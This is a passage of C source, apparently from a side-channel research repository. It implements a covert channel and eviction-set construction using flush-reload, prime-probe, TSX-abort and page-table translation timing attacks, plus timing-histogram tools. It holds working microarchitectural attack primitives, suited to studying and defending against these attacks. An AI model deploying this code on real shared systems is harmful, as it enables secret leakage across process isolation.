| for (i = 0; i < 19; ++i) { 152 | wset = wsets + i; 153 | 154 | if ((ret = xbegin()) == XBEGIN_INIT) { 155 | list_foreach(wset, node); 156 | 157 | for (volatile int x = 0; x < 2500; ++x); 158 | xend(); 159 | } else if (ret & XABORT_CAPACITY) { 160 | word |= BIT(i); 161 | } 162 | } 163 | 164 | return word; 165 | } 166 | 167 | uint32_t xp_recv_raw(void) 168 | { 169 | size_t i; 170 | uint64_t dt; 171 | uint32_t word = 0; 172 | 173 | for (i = 0; i < 19; ++i) { 174 | dt = xlate(xsets + i, &tlb_set); 175 | 176 | // 850 is good for cross-core. 177 | if (dt > 800) 178 | word |= BIT(i); 179 | } 180 | 181 | return word; 182 | } 183 | 184 | static int xp_build_eviction_sets(size_t npages, char *base) 185 | { 186 | struct page_set lines; 187 | struct page_set *wset; 188 | char *target; 189 | size_t i; 190 | 191 | build_ptable_pool(&lines, "/foo", npages); 192 | build_tlb(&tlb_set, "/foo", 1600); 193 | 194 | for (i = 0; i < 19; ++i) { 195 | wset = xsets + i; 196 | target = base + i * 4 * KIB; 197 | 198 | find_wset(&lines, wset, &tlb_set, target, 16, xlate_and_probe); 199 | } 200 | 201 | fprintf(stderr, "found eviction sets\n"); 202 | 203 | return 0; 204 | } 205 | 206 | uint32_t xa_recv_raw(void) 207 | { 208 | struct page_set *wset; 209 | size_t i, k; 210 | unsigned ret; 211 | uint32_t word = 0; 212 | 213 | for (k = 0; k < 19; ++k) { 214 | wset = xsets + k; 215 | 216 | page_set_shuffle(wset); 217 | 218 | xlate(wset, &tlb_set); 219 | 220 | for (i = 0; i < tlb_set.len; ++i) 221 | *(volatile char *)tlb_set.data[i]; 222 | 223 | if ((ret = xbegin()) == XBEGIN_INIT) { 224 | for (i = 0; i < wset->len; ++i) 225 | *(volatile char *)wset->data[i]; 226 | 227 | for (volatile int x = 0; x < 2500; ++x); 228 | xend(); 229 | } else if (ret & XABORT_CONFLICT) { 230 | word |= BIT(k); 231 | } 232 | } 233 | 234 | return word; 235 | } 236 | 237 | struct method { 238 | const char *name; 239 | int (* prepare)(size_t, char *); 240 | uint32_t (* recv_raw)(void); 241 | }; 242 | 243 | static struct method *method; 244 | struct method methods[] = { 245 | { "flush-reload", NULL, fr_recv_raw }, 246 | { "flush-flush", NULL, ff_recv_raw }, 247 | { "prime-probe", pp_build_eviction_sets, pp_recv_raw }, 248 | { "prime-abort", pp_build_eviction_sets, pa_recv_raw }, 249 | { "xlate-probe", xp_build_eviction_sets, xp_recv_raw }, 250 | { "xlate-abort", xp_build_eviction_sets, xa_recv_raw }, 251 | {}, 252 | }; 253 | 254 | struct method *lookup_method(const char *name) 255 | { 256 | struct method *current; 257 | 258 | for (current = methods; current->name; ++current) { 259 | if (stricmp(current->name, name) == 0) 260 | return current; 261 | } 262 | 263 | return NULL; 264 | } 265 | 266 | int prepare(size_t npages, char *base) 267 | { 268 | if (!method->prepare) 269 | return 0; 270 | 271 | return method->prepare(npages, base); 272 | } 273 | 274 | uint32_t recv_raw(void) 275 | { 276 | return method->recv_raw(); 277 | } 278 | 279 | static int seq_no = 0; 280 | static int ack_no = 0; 281 | 282 | int send_byte(uint8_t byte) 283 | { 284 | uint32_t word; 285 | uint32_t edc; 286 | uint32_t ack; 287 | uint32_t expected; 288 | 289 | word = byte; 290 | word |= (seq_no & 0x3f) << 8; 291 | edc = 15 - __builtin_popcount(word); 292 | word |= (edc & 0xf) << 15; 293 | 294 | expected = byte; 295 | expected |= (seq_no & 0x3f) << 8; 296 | expected |= BIT(14); 297 | edc = 15 - __builtin_popcount(expected); 298 | expected |= (edc & 0xf) << 15; 299 | 300 | do { 301 | send_raw(word); 302 | ack = recv_raw(); 303 | } while (ack != expected); 304 | 305 | seq_no = (seq_no + 21) & (64 - 1); 306 | 307 | return 0; 308 | } 309 | 310 | int recv_byte(uint8_t *byte) 311 | { 312 | int cur_no; 313 | uint32_t ret; 314 | uint32_t data; 315 | uint32_t ack; 316 | uint32_t edc; 317 | 318 | while (1) { 319 | ret = recv_raw(); 320 | 321 | data = ret & 0xff; 322 | cur_no = (ret >> 8) & 0x3f; 323 | edc = (ret >> 15) & 0xf; 324 | 325 | ack = data; 326 | ack |= (cur_no & 0x3f) << 8; 327 | ack |= BIT(14); 328 | ack |= (15 - __builtin_popcount(ack)) << 15; 329 | 330 | if (edc != (uint32_t)(15 - __builtin_popcount(ret & 0x7fff))) 331 | continue; 332 | 333 | send_raw(ack); 334 | 335 | if (cur_no == ack_no) { 336 | ack_no = (ack_no + 21) & (64 - 1); 337 | *byte = data; 338 | break; 339 | } 340 | } 341 | 342 | return 0; 343 | } 344 | 345 | void do_recv(void) 346 | { 347 | struct timespec past, now; 348 | double diff; 349 | uint32_t count = 0; 350 | uint8_t byte = 0; 351 | size_t errors = 0; 352 | size_t hamming = 0; 353 | 354 | fprintf(stderr, "Press any key to continue...\n"); 355 | await_key_press(); 356 | clock_gettime(CLOCK_MONOTONIC, &past); 357 | 358 | for (count = 0; count < 16 * UINT8_MAX; ++count) { 359 | recv_byte(&byte); 360 | printf("0x%02x ", byte); 361 | fflush(stdout); 362 | 363 | if (byte != (count & 0xff)) 364 | ++errors; 365 | 366 | hamming += __builtin_popcount(byte ^ (count & 0xff)); 367 | } 368 | 369 | clock_gettime(CLOCK_MONOTONIC, &now); 370 | 371 | diff = (now.tv_sec + now.tv_nsec * .000000001) - (past.tv_sec + past.tv_nsec * .000000001); 372 | 373 | fprintf(stderr, "%.02lf bytes/sec (raw)\n", count / diff); 374 | fprintf(stderr, "%.02lf bytes/sec (correct)\n", (count - errors) / diff); 375 | fprintf(stderr, "%.02lf byte errors/sec\n", errors / diff); 376 | fprintf(stderr, "%.02lf bit errors/sec\n", hamming / diff); 377 | 378 | printf("\n"); 379 | } 380 | 381 | void do_send(void) 382 | { 383 | uint32_t count = 0; 384 | 385 | for (count = 0; count < 32 * UINT8_MAX; ++count) { 386 | send_byte(count & 0xff); 387 | } 388 | } 389 | 390 | int main(int argc, char *argv[]) 391 | { 392 | char *base; 393 | int fd; 394 | 395 | if (argc < 4) { 396 | fprintf(stderr, "usage: %s [send|recv]\n", argv[0]); 397 | return -1; 398 | } 399 | 400 | if ((fd = open(argv[1], O_RDONLY, 0777)) < 0) { 401 | fprintf(stderr, "error: unable to open the shared memory object.\n"); 402 | return -1; 403 | } 404 | 405 | base = mmap(NULL, 2 * MIB, PROT_READ, MAP_SHARED | MAP_HUGETLB, fd, 0); 406 | close(fd); 407 | 408 | if (base == MAP_FAILED) { 409 | fprintf(stderr, "error: unable to map shared memory\n"); 410 | return -1; 411 | } 412 | 413 | if (!(method = lookup_method(argv[2]))) { 414 | fprintf(stderr, "error: unknown method.\n"); 415 | close(fd); 416 | return -1; 417 | } 418 | 419 | if (strcmp(argv[3], "send") == 0) { 420 | send_page = base; 421 | recv_page = base + 19 * 4 * KIB; 422 | prepare(4096, recv_page); 423 | do_send(); 424 | } else if (strcmp(argv[3], "recv") == 0) { 425 | send_page = base + 19 * 4 * KIB; 426 | recv_page = base; 427 | prepare(4096, recv_page); 428 | do_recv(); 429 | } else { 430 | fprintf(stderr, "error: unknown command.\n"); 431 | } 432 | 433 | return 0; 434 | } 435 | -------------------------------------------------------------------------------- /source/elf.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include 5 | #include 6 | 7 | #include 8 | 9 | int gelf_find_sym(GElf_Sym *ret, Elf *elf, const char *key) 10 | { 11 | Elf_Scn *scn = NULL; 12 | GElf_Shdr shdr; 13 | GElf_Sym sym; 14 | Elf_Data *data; 15 | const char *name; 16 | size_t i, count; 17 | 18 | while ((scn = elf_nextscn(elf, scn)) != NULL) { 19 | gelf_getshdr(scn, &shdr); 20 | 21 | if (shdr.sh_type != SHT_SYMTAB) 22 | continue; 23 | 24 | data = elf_getdata(scn, NULL); 25 | count = shdr.sh_size / shdr.sh_entsize; 26 | 27 | for (i = 0; i < count; ++i) { 28 | gelf_getsym(data, i, &sym); 29 | name = elf_strptr(elf, shdr.sh_link, sym.st_name); 30 | 31 | if (stricmp(name, key) != 0) 32 | continue; 33 | 34 | if (ret) 35 | *ret = sym; 36 | 37 | return 0; 38 | } 39 | } 40 | 41 | return -1; 42 | } 43 | 44 | void *gelf_find_sym_ptr(Elf *elf, const char *key) 45 | { 46 | GElf_Sym sym; 47 | 48 | if (gelf_find_sym(&sym, elf, key) < 0) 49 | return NULL; 50 | 51 | return (void *)sym.st_value; 52 | } 53 | -------------------------------------------------------------------------------- /source/eviction.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include 6 | 7 | #include 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | #include 15 | 16 | uint64_t prime(struct list *working_set) 17 | { 18 | struct list *node; 19 | uint64_t t0, dt; 20 | 21 | t0 = rdtsc(); 22 | list_foreach(working_set, node); 23 | dt = rdtsc() - t0; 24 | 25 | list_foreach_rev(working_set, node); 26 | list_foreach(working_set, node); 27 | list_foreach_rev(working_set, node); 28 | 29 | return dt; 30 | } 31 | 32 | int prime_and_probe_fast(struct list *working_set, void *line) 33 | { 34 | uint64_t times[16]; 35 | uint64_t t0, dt; 36 | size_t i; 37 | 38 | for (i = 0; i < 16; ++i) { 39 | *(volatile char *)line; 40 | prime(working_set); 41 | 42 | t0 = rdtsc(); 43 | *(volatile char *)line; 44 | dt = rdtsc() - t0; 45 | 46 | times[i] = dt; 47 | } 48 | 49 | qsort_u64(times, 16); 50 | 51 | return times[16 / 2] > 200; 52 | } 53 | 54 | int prime_and_probe(struct page_set *working_set, struct page_set *tlb_set, 55 | void *line) 56 | { 57 | struct list set; 58 | 59 | (void)tlb_set; 60 | 61 | page_set_link(working_set, &set, (size_t)line & (4 * KIB - 1)); 62 | 63 | return prime_and_probe_fast(&set, line); 64 | } 65 | 66 | uint64_t xlate(struct page_set *working_set, struct page_set *tlb_set) 67 | { 68 | uint64_t t0, dt = 0; 69 | size_t i; 70 | 71 | for (i = 0; i < tlb_set->len; ++i) 72 | *(volatile char *)tlb_set->data[i]; 73 | 74 | t0 = rdtsc(); 75 | 76 | for (i = 0; i < working_set->len; ++i) 77 | *(volatile char *)working_set->data[i]; 78 | 79 | dt = rdtsc() - t0; 80 | 81 | for (i = working_set->len - 1; i < working_set->len; --i) 82 | *(volatile char *)working_set->data[i]; 83 | 84 | for (i = 0; i < working_set->len; ++i) 85 | *(volatile char *)working_set->data[i]; 86 | 87 | for (i = working_set->len - 1; i < working_set->len; --i) 88 | *(volatile char *)working_set->data[i]; 89 | 90 | return dt; 91 | } 92 | 93 | int xlate_and_probe(struct page_set *working_set, struct page_set *tlb_set, 94 | void *line) 95 | { 96 | uint64_t times[16]; 97 | uint64_t t0, dt; 98 | size_t i; 99 | 100 | for (i = 0; i < 16; ++i) { 101 | *(volatile char *)line; 102 | xlate(working_set, tlb_set); 103 | 104 | t0 = rdtsc(); 105 | *(volatile char *)line; 106 | dt = rdtsc() - t0; 107 | 108 | times[i] = dt; 109 | } 110 | 111 | qsort_u64(times, 16); 112 | 113 | return times[16 / 2] > 150; 114 | } 115 | 116 | void *build_wset(struct page_set *pool, struct page_set *wset, 117 | struct page_set *tlb_set, void *target, 118 | int (* evicts)(struct page_set *, struct page_set *, void *)) 119 | { 120 | void *line = NULL; 121 | size_t i; 122 | 123 | if (!target) { 124 | i = (size_t)(lrand48() % pool->len); 125 | target = page_set_remove(pool, i); 126 | } 127 | 128 | while (pool->len) { 129 | i = (size_t)(lrand48() % pool->len); 130 | 131 | line = page_set_remove(pool, i); 132 | page_set_push(wset, line); 133 | page_set_shuffle(wset); 134 | 135 | if (evicts(wset, tlb_set, target)) 136 | break; 137 | } 138 | 139 | return target; 140 | } 141 | 142 | void optimise_wset(struct page_set *pool, struct page_set *wset, 143 | struct page_set *tlb_set, void *target, 144 | int (*evicts)(struct page_set *, struct page_set *, void *)) 145 | { 146 | struct cache_line *line; 147 | size_t i; 148 | 149 | for (i = wset->len - 1; i < wset->len; --i) { 150 | line = page_set_remove(wset, i); 151 | 152 | if (evicts(wset, tlb_set, target)) { 153 | page_set_push(pool, line); 154 | } else { 155 | page_set_push(wset, line); 156 | } 157 | } 158 | } 159 | 160 | int validate_wset(struct page_set *wset, struct page_set *tlb_set, 161 | void *target, 162 | int (* evicts)(struct page_set *, struct page_set *, void *)) 163 | { 164 | size_t i; 165 | size_t score = 0; 166 | 167 | for (i = 0; i < 64; ++i) { 168 | if (evicts(wset, tlb_set, target)) 169 | ++score; 170 | } 171 | 172 | return score > 48; 173 | } 174 | 175 | void *find_wset(struct page_set *pool, struct page_set *wset, 176 | struct page_set *tlb_set, void *target, size_t nways, 177 | int (* evicts)(struct page_set *, struct page_set *, void *)) 178 | { 179 | if (!pool || !wset) 180 | return NULL; 181 | 182 | page_set_clear(wset); 183 | 184 | do { 185 | page_set_shuffle(pool); 186 | target = build_wset(pool, wset, tlb_set, target, evicts); 187 | 188 | if (wset->len < nways) 189 | continue; 190 | 191 | optimise_wset(pool, wset, tlb_set, target, evicts); 192 | fprintf(stderr, "built eviction set of size %zu\n", wset->len); 193 | } while (wset->len != nways || !validate_wset(wset, tlb_set, target, evicts)); 194 | 195 | return target; 196 | } 197 | 198 | int limit_wset(struct page_set *lines, struct page_set *wset, size_t nways) 199 | { 200 | void *line; 201 | 202 | while (wset->len > nways) { 203 | line = page_set_remove(wset, wset->len - 1); 204 | page_set_push(lines, line); 205 | } 206 | 207 | return 0; 208 | } 209 | 210 | int build_page_pool(struct page_set *pool, size_t npages) 211 | { 212 | char *area, *p; 213 | size_t i; 214 | 215 | if ((area = mmap(NULL, npages * 4 * KIB, PROT_READ | PROT_WRITE, 216 | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0)) == MAP_FAILED) 217 | return -1; 218 | 219 | memset(area, 0x5a, npages * 4 * KIB); 220 | 221 | page_set_init(pool, npages); 222 | 223 | p = area; 224 | 225 | for (i = 0; i < npages; ++i) { 226 | page_set_push(pool, p); 227 | p += 4 * KIB; 228 | } 229 | 230 | return 0; 231 | } 232 | 233 | int build_ptable_pool(struct page_set *pool, const char *path, size_t npages) 234 | { 235 | char *area, *p; 236 | size_t i, size; 237 | int fd; 238 | 239 | if ((fd = shm_open_or_create(path, 4 * KIB)) < 0) 240 | return -1; 241 | 242 | if ((area = mmap(NULL, (npages + 1) * 2 * MIB, PROT_NONE, 243 | MAP_ANONYMOUS | MAP_PRIVATE | MAP_NORESERVE, -1, 0)) == MAP_FAILED) 244 | goto err_close; 245 | 246 | page_set_init(pool, npages); 247 | 248 | p = (void *)ALIGN_UP((uintptr_t)area, 2 * MIB); 249 | size = p - area; 250 | 251 | if (size) 252 | munmap(area, size); 253 | 254 | area = p; 255 | p = area + npages * 2 * MIB; 256 | size = 2 * MIB - size; 257 | 258 | if (size) 259 | munmap(p, size); 260 | 261 | p = area; 262 | 263 | for (i = 0; i < npages; ++i) { 264 | if (mmap(p, 4 * KIB, PROT_READ, MAP_FIXED | MAP_SHARED, fd, 0) == 265 | MAP_FAILED) 266 | goto err_unmap; 267 | 268 | munmap(p + 4 * KIB, 2 * MIB - 4 * KIB); 269 | 270 | page_set_push(pool, p); 271 | p += 2 * MIB; 272 | } 273 | 274 | close(fd); 275 | 276 | return 0; 277 | 278 | err_unmap: 279 | munmap(area, npages * 2 * MIB); 280 | err_close: 281 | close(fd); 282 | return -1; 283 | } 284 | -------------------------------------------------------------------------------- /source/histogram-pa.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include 9 | #include 10 | #include 11 | 12 | #include 13 | #include 14 | #include 15 | 16 | #include 17 | #include 18 | #include 19 | 20 | #include 21 | #include 22 | 23 | int cmp_size(const void *lhs, const void *rhs) 24 | { 25 | return memcmp(lhs, rhs, sizeof(size_t)); 26 | } 27 | 28 | int prime(struct list *working_set) 29 | { 30 | struct list *node; 31 | unsigned ret; 32 | 33 | if ((ret = xbegin()) == XBEGIN_INIT) { 34 | list_foreach(working_set, node); 35 | xend(); 36 | 37 | return 1; 38 | } 39 | 40 | return 0; 41 | } 42 | 43 | int prime_and_abort(struct list *working_set, void *line) 44 | { 45 | struct list *node; 46 | size_t ncommits = 0, naborts = 0; 47 | unsigned ret; 48 | 49 | while (ncommits < 16 && naborts < 16) { 50 | if ((ret = xbegin()) == XBEGIN_INIT) { 51 | list_foreach(working_set, node); 52 | *(volatile char *)line; 53 | xend(); 54 | 55 | ++ncommits; 56 | } else if (ret & XABORT_CAPACITY) { 57 | ++naborts; 58 | } 59 | } 60 | 61 | return ncommits == 0; 62 | } 63 | 64 | void *build_working_set(struct page_set *lines, struct page_set *working_set, 65 | void *target) 66 | { 67 | struct list set; 68 | void *line = NULL; 69 | size_t i; 70 | 71 | while (lines->len) { 72 | i = (size_t)(lrand48() % lines->len); 73 | 74 | line = page_set_remove(lines, i); 75 | page_set_link(working_set, &set, (size_t)target & (4 * KIB - 1)); 76 | 77 | if (prime_and_abort(&set, target)) 78 | break; 79 | 80 | page_set_push(working_set, line); 81 | } 82 | 83 | return line; 84 | } 85 | 86 | void optimise_working_set(struct page_set *lines, 87 | struct page_set *working_set, void *target) 88 | { 89 | struct list set; 90 | struct cache_line *line; 91 | size_t i; 92 | 93 | for (i = working_set->len; i > 0; --i) { 94 | line = page_set_remove(working_set, i - 1); 95 | page_set_link(working_set, &set, (size_t)target & (4 * KIB - 1)); 96 | 97 | if (prime_and_abort(&set, target)) { 98 | page_set_push(lines, line); 99 | } else { 100 | page_set_push(working_set, line); 101 | } 102 | } 103 | } 104 | 105 | int main(int argc, char *argv[]) 106 | { 107 | struct list set; 108 | struct page_set lines, wset; 109 | char *page; 110 | char *target; 111 | size_t fast, slow; 112 | size_t count; 113 | size_t i; 114 | size_t npages = 4096; 115 | 116 | if (argc < 2) { 117 | fprintf(stderr, "usage: %s \n", 118 | argv[0]); 119 | return -1; 120 | } 121 | 122 | count = (size_t)strtoull(argv[1], NULL, 10); 123 | 124 | if ((target = mmap(NULL, 4 * KIB, PROT_READ | PROT_WRITE, 125 | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0)) == MAP_FAILED) { 126 | fprintf(stderr, "error: unable to map target page\n"); 127 | return -1; 128 | } 129 | 130 | memset(target, 0x5b, 4 * KIB); 131 | 132 | if ((page = mmap(NULL, npages * 4 * KIB, PROT_READ | PROT_WRITE, 133 | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0)) == MAP_FAILED) { 134 | fprintf(stderr, "error: unable to map pages for PRIME + PROBE\n"); 135 | return -1; 136 | } 137 | 138 | memset(page, 0x5a, npages * 4 * KIB); 139 | page_set_init(&lines, npages); 140 | 141 | for (i = 0; i < npages; ++i) { 142 | page_set_push(&lines, page + i * 4 * KIB); 143 | } 144 | 145 | page_set_init(&wset, 16); 146 | 147 | do { 148 | build_working_set(&lines, &wset, target); 149 | optimise_working_set(&lines, &wset, target); 150 | printf("found working set of size: %zu\n", wset.len); 151 | } while (wset.len > 17); 152 | 153 | page_set_link(&wset, &set, (size_t)target & (4 * KIB - 1)); 154 | 155 | fast = 0; 156 | slow = 0; 157 | 158 | for (i = 0; i < count; ++i) { 159 | prime(&set); 160 | fast += prime(&set); 161 | *(volatile char *)target; 162 | slow += prime(&set); 163 | } 164 | 165 | printf("%zu %zu\n", slow, fast); 166 | 167 | return 0; 168 | } 169 | -------------------------------------------------------------------------------- /source/histogram-pp.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include 9 | #include 10 | #include 11 | 12 | #include 13 | #include 14 | #include 15 | 16 | #include 17 | #include 18 | #include 19 | #include 20 | 21 | #include 22 | #include 23 | 24 | void *build_working_set(struct page_set *lines, struct page_set *working_set, 25 | void *target) 26 | { 27 | struct list set; 28 | void *line = NULL; 29 | size_t i; 30 | 31 | while (lines->len) { 32 | i = (size_t)(lrand48() % lines->len); 33 | 34 | line = page_set_remove(lines, i); 35 | page_set_link(working_set, &set, (size_t)target & (4 * KIB - 1)); 36 | 37 | if (prime_and_probe(&set, target)) 38 | break; 39 | 40 | page_set_push(working_set, line); 41 | } 42 | 43 | return line; 44 | } 45 | 46 | void optimise_working_set(struct page_set *lines, 47 | struct page_set *working_set, void *target) 48 | { 49 | struct list set; 50 | struct cache_line *line; 51 | size_t i; 52 | 53 | for (i = working_set->len; i > 0; --i) { 54 | line = page_set_remove(working_set, i - 1); 55 | page_set_link(working_set, &set, (size_t)target & (4 * KIB - 1)); 56 | 57 | if (prime_and_probe(&set, target)) { 58 | page_set_push(lines, line); 59 | } else { 60 | page_set_push(working_set, line); 61 | } 62 | } 63 | } 64 | 65 | int main(int argc, char *argv[]) 66 | { 67 | struct list set; 68 | uint64_t fast, slow; 69 | struct page_set lines, wset; 70 | char *page; 71 | char *target; 72 | size_t count; 73 | size_t i; 74 | size_t npages = 4096; 75 | 76 | if (argc < 2) { 77 | fprintf(stderr, "usage: %s \n", 78 | argv[0]); 79 | return -1; 80 | } 81 | 82 | count = (size_t)strtoull(argv[1], NULL, 10); 83 | 84 | if ((target = mmap(NULL, 4 * KIB, PROT_READ | PROT_WRITE, 85 | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0)) == MAP_FAILED) { 86 | fprintf(stderr, "error: unable to map target page\n"); 87 | return -1; 88 | } 89 | 90 | memset(target, 0x5b, 4 * KIB); 91 | 92 | if ((page = mmap(NULL, npages * 4 * KIB, PROT_READ | PROT_WRITE, 93 | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0)) == MAP_FAILED) { 94 | fprintf(stderr, "error: unable to map pages for PRIME + PROBE\n"); 95 | return -1; 96 | } 97 | 98 | memset(page, 0x5a, npages * 4 * KIB); 99 | page_set_init(&lines, npages); 100 | 101 | for (i = 0; i < npages; ++i) { 102 | page_set_push(&lines, page + i * 4 * KIB); 103 | } 104 | 105 | page_set_init(&wset, 16); 106 | 107 | do { 108 | build_working_set(&lines, &wset, target); 109 | optimise_working_set(&lines, &wset, target); 110 | printf("found working set of size: %zu\n", wset.len); 111 | } while (wset.len > 16); 112 | 113 | page_set_link(&wset, &set, (size_t)target & (4 * KIB - 1)); 114 | 115 | for (i = 0; i < count; ++i) { 116 | prime(&set); 117 | fast = prime(&set); 118 | *(volatile char *)target; 119 | slow = prime(&set); 120 | 121 | printf("%" PRIu64 " %" PRIu64 "\n", slow, fast); 122 | } 123 | 124 | return 0; 125 | } 126 | -------------------------------------------------------------------------------- /source/histogram-xp.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include 9 | #include 10 | #include 11 | 12 | #include 13 | #include 14 | #include 15 | 16 | #include 17 | #include 18 | #include 19 | #include 20 | 21 | #include 22 | #include 23 | 24 | struct page_set tlb_set; 25 | 26 | int cmp_size(const void *lhs, const void *rhs) 27 | { 28 | return memcmp(lhs, rhs, sizeof(size_t)); 29 | } 30 | 31 | uint64_t xlate(struct page_set *working_set) 32 | { 33 | uint64_t t0, dt = 0; 34 | size_t i; 35 | 36 | for (i = 0; i < tlb_set.len; ++i) 37 | *(volatile char *)tlb_set.data[i]; 38 | 39 | t0 = rdtsc(); 40 | 41 | for (i = 0; i < working_set->len; ++i) 42 | *(volatile char *)working_set->data[i]; 43 | 44 | dt = rdtsc() - t0; 45 | 46 | for (i = tlb_set.len - 1; i < tlb_set.len; ++i) 47 | *(volatile char *)tlb_set.data[i]; 48 | 49 | for (i = working_set->len - 1; i < working_set->len; ++i) 50 | *(volatile char *)working_set->data[i]; 51 | 52 | for (i = 0; i < tlb_set.len; ++i) 53 | *(volatile char *)tlb_set.data[i]; 54 | 55 | for (i = 0; i < working_set->len; ++i) 56 | *(volatile char *)working_set->data[i]; 57 | 58 | for (i = tlb_set.len - 1; i < tlb_set.len; ++i) 59 | *(volatile char *)tlb_set.data[i]; 60 | 61 | for (i = working_set->len - 1; i < working_set->len; ++i) 62 | *(volatile char *)working_set->data[i]; 63 | 64 | return dt; 65 | } 66 | 67 | int xlate_and_probe(struct page_set *working_set, void *line) 68 | { 69 | uint64_t times[16]; 70 | uint64_t t0, dt; 71 | size_t i; 72 | 73 | for (i = 0; i < 16; ++i) { 74 | *(volatile char *)line; 75 | xlate(working_set); 76 | 77 | t0 = rdtsc(); 78 | *(volatile char *)line; 79 | dt = rdtsc() - t0; 80 | 81 | times[i] = dt; 82 | } 83 | 84 | qsort(times, 16, sizeof *times, cmp_size); 85 | 86 | return times[16 / 2] > 100; 87 | } 88 | 89 | void *build_working_set(struct page_set *lines, struct page_set *working_set, 90 | void *target) 91 | { 92 | void *line = NULL; 93 | size_t i; 94 | 95 | while (lines->len) { 96 | i = (size_t)(lrand48() % lines->len); 97 | 98 | line = page_set_remove(lines, i); 99 | 100 | if (xlate_and_probe(working_set, target)) 101 | break; 102 | 103 | page_set_push(working_set, line); 104 | } 105 | 106 | return line; 107 | } 108 | 109 | void optimise_working_set(struct page_set *lines, 110 | struct page_set *working_set, void *target) 111 | { 112 | struct cache_line *line; 113 | size_t i; 114 | 115 | for (i = working_set->len; i > 0; --i) { 116 | line = page_set_remove(working_set, i - 1); 117 | 118 | if (xlate_and_probe(working_set, target)) { 119 | page_set_push(lines, line); 120 | } else { 121 | page_set_push(working_set, line); 122 | } 123 | } 124 | } 125 | 126 | char *alloc_huge_page(void) 127 | { 128 | char *page, *offset; 129 | size_t size; 130 | 131 | if ((page = mmap(NULL, 4 * MIB, PROT_NONE, 132 | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0)) == MAP_FAILED) 133 | return NULL; 134 | 135 | offset = (char *)ALIGN_UP((uintptr_t)page, 2 * MIB); 136 | 137 | size = (size_t)(offset - page); 138 | munmap(page, size); 139 | 140 | size = (size_t)(4 * MIB - (uintptr_t)offset - 2 * MIB); 141 | //munmap(offset + 2 * MIB, size); 142 | 143 | return offset; 144 | } 145 | 146 | char *alloc_page(int fd) 147 | { 148 | char *page; 149 | 150 | if (!(page = alloc_huge_page())) 151 | return NULL; 152 | 153 | mmap(page, 4 * KIB, PROT_READ | PROT_WRITE, 154 | MAP_FIXED | MAP_SHARED, fd, 0); 155 | munmap(page + 4 * KIB, 2 * MIB - 4 * KIB); 156 | 157 | return page; 158 | } 159 | 160 | void build_tlb(int fd) 161 | { 162 | char *area, *p; 163 | size_t i; 164 | 165 | area = mmap(NULL, 32 * 2 * MIB, PROT_NONE, 166 | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); 167 | 168 | page_set_init(&tlb_set, 1600 + 32); 169 | 170 | p = area; 171 | 172 | for (i = 0; i < 1600; ++i) { 173 | mmap(p, 4 * KIB, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_SHARED, 174 | fd, 0); 175 | page_set_push(&tlb_set, p); 176 | p += 4 * KIB; 177 | } 178 | 179 | p = area + 8 * MIB; 180 | 181 | for (i = 4; i < 32; ++i) { 182 | mmap(p, 4 * KIB, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_SHARED, 183 | fd, 0); 184 | page_set_push(&tlb_set, p); 185 | p += 2 * MIB; 186 | } 187 | } 188 | 189 | int main(int argc, char *argv[]) 190 | { 191 | uint64_t fast, slow; 192 | struct page_set lines, wset; 193 | char *page; 194 | char *target; 195 | size_t count; 196 | size_t i; 197 | size_t npages = 4096; 198 | int fd; 199 | 200 | if (argc < 2) { 201 | fprintf(stderr, "usage: %s \n", 202 | argv[0]); 203 | return -1; 204 | } 205 | 206 | count = (size_t)strtoull(argv[1], NULL, 10); 207 | 208 | if ((fd = shm_open("/foo", O_RDWR | O_CREAT | O_TRUNC, 0777)) < 0) { 209 | fprintf(stderr, "error: unable to open shared memory\n"); 210 | return -1; 211 | } 212 | 213 | ftruncate(fd, 4 * KIB); 214 | 215 | page = mmap(NULL, 4 * KIB, PROT_READ | PROT_WRITE, 216 | MAP_SHARED, fd, 0); 217 | memset(page, 4 * KIB, 0x5a); 218 | munmap(page, 4 * KIB); 219 | 220 | build_tlb(fd); 221 | 222 | if ((target = mmap(NULL, 4 * KIB, PROT_READ | PROT_WRITE, 223 | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0)) == MAP_FAILED) { 224 | fprintf(stderr, "error: unable to map target page\n"); 225 | return -1; 226 | } 227 | 228 | memset(target, 0x5b, 4 * KIB); 229 | 230 | page_set_init(&lines, npages); 231 | 232 | for (i = 0; i < npages; ++i) { 233 | page = alloc_page(fd); 234 | page_set_push(&lines, page); 235 | } 236 | 237 | page_set_init(&wset, 16); 238 | 239 | do { 240 | build_working_set(&lines, &wset, target); 241 | optimise_working_set(&lines, &wset, target); 242 | fprintf(stderr, "found working set of size: %zu\n", wset.len); 243 | } while (wset.len > 16); 244 | 245 | for (i = 0; i < count; ++i) { 246 | xlate(&wset); 247 | fast = xlate(&wset); 248 | *(volatile char *)target; 249 | slow = xlate(&wset); 250 | 251 | printf("%" PRIu64 " %" PRIu64 "\n", slow, fast); 252 | } 253 | 254 | close(fd); 255 | shm_unlink("/foo"); 256 | 257 | return 0; 258 | } 259 | -------------------------------------------------------------------------------- /source/histogram.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #include 8 | 9 | #include 10 | #include 11 | 12 | int main(int argc, char *argv[]) 13 | { 14 | uint64_t t0, slow, fast; 15 | char *page; 16 | size_t i, count; 17 | 18 | if (argc < 2) { 19 | fprintf(stderr, "usage: %s \n", 20 | argv[0]); 21 | return -1; 22 | } 23 | 24 | count = (size_t)strtoull(argv[1], NULL, 10); 25 | 26 | page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, 27 | 